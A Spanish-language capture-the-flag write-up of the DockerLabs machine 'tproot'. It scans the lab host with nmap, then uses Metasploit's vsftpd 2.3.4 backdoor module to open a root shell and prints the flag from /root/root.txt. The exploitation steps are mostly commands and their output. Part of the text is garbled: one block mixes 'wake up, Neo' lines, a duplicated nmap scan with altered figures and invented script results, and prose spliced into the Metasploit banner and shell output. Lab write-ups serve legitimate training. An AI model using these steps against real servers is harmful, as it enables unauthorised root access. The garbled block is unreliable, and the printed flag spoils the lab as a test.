

tproot(DockerLabs)

Esta máquina es muy similar a la máquina “firsthacking”, pero en esta ocasión, además, hay que encontrar una flag.

Hacemos el escaneo con nmap buscando de una vez puertos abiertos, servicios y versiones:

```
Session Actions Edit View Help
└─(kali㉿kali)-[~]
$ nmap -p- --open -sSVC -n -nP 172.17.0.2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-10 04:06 -0500
Nmap scan report for 172.17.0.2
Host is up (0.0000080s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.03 seconds
└─(kali㉿kali)-[~]
```

Vemos abierto el puerto 21 (FTP) y además con la versión vsftpd 2.3.4, que sabemos que tiene una vulnerabilidad.

Necesitamos una reverse shell. Abrimos la consola de metasploit y buscamos un exploit:

```
wake up, Neo ...
the matrix has you mission Actions Edit View Help
follow the white rabbit.
[+] kali㉿kali:[~]
knock, knock, Neo.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-10 04:06 -0500
Nmap scan report for 172.17.0.2
Host is up (0.000080s latency).
Not shown: 55533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  vsftpd 2.3.4
|_FTP/van: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp    open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-favicon: None
|_http-dnsbl: No
|_http-robots: None
|_http-headers: None
|_http-ssl: None
|_http-xml: None
|_http-xmlsec: None
|_http-xss: None
|_http-zip: None
Service Info: OS: Unix

Nmap done: 1 IP address (1 host up) scanned in 9.03 seconds
```

<https://metasploit.com>

= [metasploit v6.4.103-dev] to el puerto 21(FTP) y además con la versión vsftpd 2.3.4, que sabemos que tiene una vulnerabilidad.
+ -- --=[2,584 exploits - 1,319 auxiliary - 1,697 payloads]
+ -- --=[434 post - 49 encoders - 14 nops - 9 evasion]
Necesitamos una reverse shell. Abrimos la consola de metasploit y buscamos:

Metasploit Documentation: <https://docs.metasploit.com/>
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd 2.3.4

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/ vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Uña vez ejecutado el comando, se comprueba que correctamente se ha obtenido acceso al sistema objetivo, esta vez como el usuario "root".

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf >

Vamos a usar este. Solo hay que seleccionarlo y poner la IP de la máquina vulnerable:

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
msf > 
Name      Current Setting  Required  Description
---      ---           ---        ---
CHOST          no           no        The local client address
CPORT          no           no        The local client port
Proxies        no           no        A proxy chain of forwarders
RHOSTS         yes          yes       The target host(s), comma separated
RPORT          21           yes       The target port (TCP)
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf exploit(unix/ftp/vsftpd_234_backdoor) > 
```

Y lo ejecutamos:

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 172.17.0.2:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling ...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:43817 → 172.17.0.2:6200) at 2026-01-10 05:15:57 -0500
```

Vemos si somos root y buscamos la flag, probablemente en la carpeta /root:

```
[*] Found shell.
[*] Command shell session 2 opened (172.17.0.1:44059 → 172.17.0.2:6200) at 2026-01-10 05:19:10 -0500
  0: Node Type: Rich Text - Date Created: 2026/01/10 - 04:04 - Date Modified: 2026/01/10 - 05:19
whoami
root

cd /root
ls
root.txt
cat root.txt
261fd3f32200f950f231816b4e9a0594
```

Ahí está. Somos root y encontramos la flag!